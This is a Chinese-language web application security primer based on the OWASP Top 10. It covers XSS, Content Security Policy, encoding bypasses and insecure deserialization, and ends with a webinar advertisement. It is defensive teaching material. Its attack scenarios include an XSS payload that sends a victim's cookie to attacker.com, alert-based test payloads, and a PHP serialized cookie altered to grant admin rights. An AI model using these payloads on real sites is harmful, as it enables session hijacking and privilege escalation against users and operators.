    安全配置錯誤是最常見的安全問題,這通常是由于不安全的默認配置、不完整的臨時配置、開源云存儲、錯誤的 HTTP 標頭配置以及包含敏感信息的詳細錯誤信息所造成的。因此,我們不僅需要對所有的操作系統、框架、庫和應用程序進行安全配置,而且必須及時修補和升級它們。

    跨站腳本(XSS)

    當應用程序的新網頁中包含不受信任的、未經驗證或轉義的數據時,或者使用可以創建 HTML 或 JavaScript 的瀏覽器 API 更新現有網頁時,就會出現 XSS 缺陷。XSS 讓攻擊者能夠在受害者的瀏覽器中執行腳本,并劫持用戶會話、破壞網站或將用戶重定向到惡意站點。

    可利用性:容易自動化工具能夠檢測并利用所有的三種 XSS 形式,并且存放在便于攻擊者利用的漏洞中。

    普遍性:廣泛XSS 是 OWASP Top10 中第二普遍的安全問題,存在于近三分之二的應用程序中。

    可檢測性:容易自動化工具能發現 XSS 問題,尤其是一些成熟的技術框架中,如:PHP、J2EE 或 JSP、ASP.NET 等。

    技術影響:中等XSS 對于反射和 DOM 的影響是中等的,而對于存儲的 XSS,XSS 的影響更為嚴重,譬如在受到攻擊的瀏覽器上執行遠程代碼,如:竊取憑證和會話或傳遞惡意軟件等。

    自查:您的應用程序脆弱嗎?

    針對用戶的瀏覽器,存在三種 XSS 類型:

  • 反射式 XSS:應用程序或 API 包含未經驗證和未經轉義的用戶輸入,并作為 HTML 輸出的一部分,受到此類攻擊可以讓攻擊者在受害者的瀏覽器中執行任意的 HTML 和 JavaScript。
  • 存儲式 XSS:你的應用或者 API 將未凈化的用戶輸入進行存儲,并在其他用戶或者管理員的頁面展示出來。存儲型 XSS 一般被認為是高危或嚴重的風險。
  • 基于 DOM 的 XSS:會動態的將攻擊者操控的內容加入到頁面的 JavaScript 框架、單頁面程序或 API 中。為避免此類攻擊,你應該禁止將攻擊者可控的數據發送給不安全的 JavaScript API。典型的 XSS 攻擊造成的結果包含:盜取 Session、賬戶、繞過 MFA、DIV替換、對用戶瀏覽器的攻擊(例如:惡意軟件下載、鍵盤記錄)以及其他用戶側的攻擊。
  • 如何防止?

    防止 XSS,需要將不可信的數據與動態的瀏覽器內容區分開:

  • 使用已解決 XS S問題的框架,如:Ruby 3.0 或 React JS。了解每個框架對 XSS 保護的局限性,并適當地處理未覆蓋的用例。
  • 為了避免反射式或存儲式的 XSS 漏洞,最好的辦法是根據 HTML 輸出的上下文(包括:主體、屬性、JavaScript、CSS或URL) 對所有不可信的 HTTP 請求數據進行恰當的轉義 。
  • 在客戶端修改瀏覽器文檔時,為了避免 DOM XSS 攻擊,最好的選擇是實施上下文敏感數據編碼。如果這種情況不能避免,可以采用《OWASP Cheat Sheet ‘DOM based XSS Prevention ‘》 一文中描述的類似于上下文敏感的轉義技術,并應用于瀏覽器 API。
  • 使用內容安全策略(CSP)是對抗 XSS 的最終防御策略。如果不存在可以通過本地文件存放惡意代碼的漏洞(例如:路徑遍歷覆蓋和允許在網絡中傳輸的易受攻擊的庫),則該策略是有效的。
  • 攻擊案例場景

    場景#1:應用程序在下面的 HTML 代碼段構造中使用了未經驗證或轉義的不可信的數據源:

    (String) page += "<input name='creditcard' type='TEXT‘ value='" + request.getParameter("CC“) + "'>";

    攻擊者在瀏覽器中修改“CC” 參數為如下值:

    '><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi? foo='+document.cookie</script>'.

    這個攻擊會導致受害者的會話 ID 被發送到攻擊者的網站,使得攻擊者能夠劫持用戶當前會話。

    內容安全策略 (CSP)

    內容安全策略 (CSP) 是一個額外的安全層,用于檢測并削弱某些特定類型的攻擊,包括跨站腳本 (XSS) 和數據注入攻擊等。無論是數據盜取、網站內容污染還是惡意軟件,這些攻擊都是主要的手段。

    CSP 被設計成完全向后兼容(除CSP2 在向后兼容有明確提及的不一致外)。不支持 CSP 的瀏覽器也能與實現了 CSP 的服務器正常合作,反之亦然:不支持 CSP 的瀏覽器只會忽略它,如常運行,默認為網頁內容使用標準的同源策略。如果網站不提供 CSP Header,瀏覽器將使用標準的同源策略。

    為使 CSP 可用, 你需要配置你的網絡服務器返回 Content-Security-Policy HTTP Header ( 有時你會看到一些關于 X-Content-Security-Policy Header 的提法, 那是舊版本,你無須再如此指定它)。

    除此之外, 元素也可以被用來配置該策略, 例如:

    <meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

    上下文敏感數據編碼(XSS 編碼與繞過)

    對于了解 Web 安全的朋友來說,都知道 XSS 這種漏洞,其危害性不用強調。一般對于該漏洞的防護有兩個思路:一是過濾敏感字符,諸如【<,>,script,'】等,另一種是對敏感字符進行 html 編碼,諸如 php 中的 htmlspecialchars() 函數。

    一般情況,正確實施這兩種方案之一就可以有效防御 XSS 漏洞了。但其實也會有一些場景,即使實施了這兩種方案,攻擊者也可以繞過防護,導致 XSS 漏洞被利用。

    場景一:XSS 注入點在某個 html 標簽屬性中,代碼片段如下: 可以看到,這里防護措施采用的是方案一:過濾敏感字符。這里如果輸入javascript:alert (11),是會被過濾掉的,輸出的內容會是:

    場景二:XSS 注入點在 js 標簽中,代碼片段如下: 這里采用的防護措施是第二種,即使用 php 內置函數 htmlspecialchars 對敏感字符進行編碼。如果輸入正常的 payload,如:<img src=1 onerror=alert(11)>,是不會有彈窗的,此時瀏覽器的輸出如下圖: 這里的敏感字符< >,已經被 html 編碼了,最后在

    標簽里面輸出的時候,瀏覽器再使用 html 解碼將其原文顯示出來,但是并不會觸發js引擎,所以也就沒有彈窗。

    下圖是 js 編碼后的 payload:

    不安全的反序列化

    不安全的反序列化會導致遠程代碼執行。即使反序列化缺陷不會導致遠程代碼執行,攻擊者也可以利用它們來執行攻擊,包括:重播攻擊、注入攻擊和特權升級攻擊。

    可利用性:難對反序列化的利用非常困難。因為在不更改或調整底層可被利用代碼的情況下,現成的反序列化漏洞很難被使用。

    可檢測性:一般有些工具可以被用于發現反序列化缺陷,但經常需要人工幫助來驗證發現的問題。希望有關反序列化缺陷的普遍性數據將隨著工具的開發而被更多的識別和解決。

    技術影響:嚴重反序列化缺陷的影響不能被低估。它們可能導致遠程代碼執行攻擊,這是可能發生的最嚴重的攻擊之一。

    自查:您的應用程序脆弱嗎?

    如果反序列化進攻者提供惡意代碼或者被篡改過的對象,將會使整個應用程序和 API 變的脆弱,這可能會導致以下兩種主要類型的攻擊:

  • 如果應用中存在可以在反序列化過程中或者之后被改變行為的類,則攻擊者可以通過改變應用邏輯或者實現遠程代碼執行攻擊,這種攻擊方式被稱為對象和數據結構攻擊。

  • 典型的數據篡改攻擊,如訪問控制相關的攻擊,其中使用了現有的數據結構,但內容發生了變化。

  • 在應用程序中,序列化可能被用于:

    • 遠程和進程間通信(RPC / IPC)
    • 連線協議、Web服務、消息代理
    • 緩存/持久性
    • 數據庫、緩存服務器、文件系統
    • HTTP cookie、HTML 表單參數、API 身份驗證令牌

    如何防止?

    唯一安全的架構模式是:不接受來自不受信源的序列化對象,或使用只允許原始數據類型的序列化媒體。 如果上述均無法實現,請考慮使用下面的方法:

  • 執行完整性檢查,如:任何序列化對象的數字簽名,以防止惡意對象創建或數據篡改。
  • 在創建對象之前強制執行嚴格的類型約束,因為代碼通常被期望成一組可定義的類。繞過這種技術的方法已經被證明,所以完全依賴于它是不可取的。
  • 如果可能,隔離運行那些在低特權環境中的反序列化代碼。
  • 記錄反序列化的例外情況和失敗信息,如:傳入的類型不是預期的類型,或者反序列處理引發的例外情況。
  • 限制或監視來自于容器或服務器傳入和傳出的反序列化網絡連接。
  • 監控反序列化,當用戶持續進行反序列化時,對用戶進行警告。
  • 攻擊案例場景

    場景 #1:一個 React 應用程序調用了一組 Spring Boot 微服務,為了確保原有的代碼不變,解決方法是序列化用戶狀態,并在每次請求時來回傳遞。這時,攻擊者可利用“R00”Java 對象簽名,并使用 Java Serial Killer 工具在應用服務器上獲得遠程代碼執行。

    場景 #2:一個 PHP 論壇使用 PHP 對象序列化來保存一個“超級”cookie。該 cookie 包含了用戶的 ID、角色、密碼哈希和其他狀態:

    a:4:{i:0;i:132;i:1;s:7:"Mallory";i:2;s:4:"user"; i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}

    攻擊者可以更改序列化對象以授予自己為admin權限:

    a:4:{i:0;i:1;i:1;s:5:"Alice";i:2;s:5:"admin"; i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}

    使用含有已知漏洞的組件

    組件(例如:庫、框架和其他軟件模塊)擁有和應用程序相同的權限。如果應用程序中含有已知漏洞的組件被攻擊者利用,可能會造成嚴重的數據丟失或服務器接管。同時,使用含有已知漏洞的組件和API會破壞應用程序的防御手段,造成各種攻擊并產生嚴重影響。

    不足的日志記錄和監控

    不足的日志記錄和監控,以及事件響應缺失或無效的集成,使攻擊者能夠進一步攻擊系統,并篡改、提取或銷毀數據。大多數缺陷研究顯示,缺陷被檢測出的時間超過 200 天,且通常通過外部檢測方檢測,而不是通過內部流程或監控檢測。

    未雨綢繆 - 項目中如何應對

    開發人員需要做些什么?

  • 提高風險意識
  • Code Review
  • 建立可重復使用的安全流程和標準安全控制
  • 安全檢測工具a) ZAP Tools b) 靜態代碼分析
  • 建立持續性的應用安全測試
  • 管理完整的應用程序生命周期
  • 以上便是從本次 Chat——“WebApp 安全風險與防護(系列二)”中截取的部分內容,相信一定能對您的 WebApp 應用程序安全防護有所幫助。

    更多關于 WebApp 安全風險防護手段及葡萄城安全架構中的實踐分享,將在葡萄城系列公開課“WebApp 安全風險與防護”中,由 Carl 親自講解,誠邀您學習觀看。

    歡迎大家掃描下圖二維碼,預約報名參加。

    **直播地址:http://live.vhall.com/137416596 **

    **公開課地址:http://live.vhall.com/137416596 **公開課時間:2019/6/28 (周五)16:00 PM

    最后

    錯過本場直播?沒關系,所有直播內容我們會存放在葡萄城公開課頁面,便于您隨時觀看、學習。

    “賦能開發者”葡萄城除了為所有開發人員提供免費的開發技巧分享、項目實戰經驗外,還提供了眾多高水準、高品質的開發工具和開發者解決方案,可有效幫助開發人員提高效率,縮短項目周期,使開發人員能更專注于業務邏輯,順利完成高質量的項目交付,歡迎您深入了解。

    講師資料:Carl(陳慶),葡萄城高級架構師、葡萄城技術公開課講師。擁有15年項目開發經驗,專注于產品架構、編程技術等領域,對網絡安全有著獨到見解,曾擔任微軟TechEd講師,樂于研究各種前沿技術并分享。

    閱讀全文: http://gitbook.cn/gitchat/activity/5d0998e6dff5210354877cf0

    您還可以下載 CSDN 旗下精品原創內容社區 GitChat App , GitChat 專享技術內容哦。

    總結

    以上是生活随笔為你收集整理的WebApp 安全入门的全部內容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。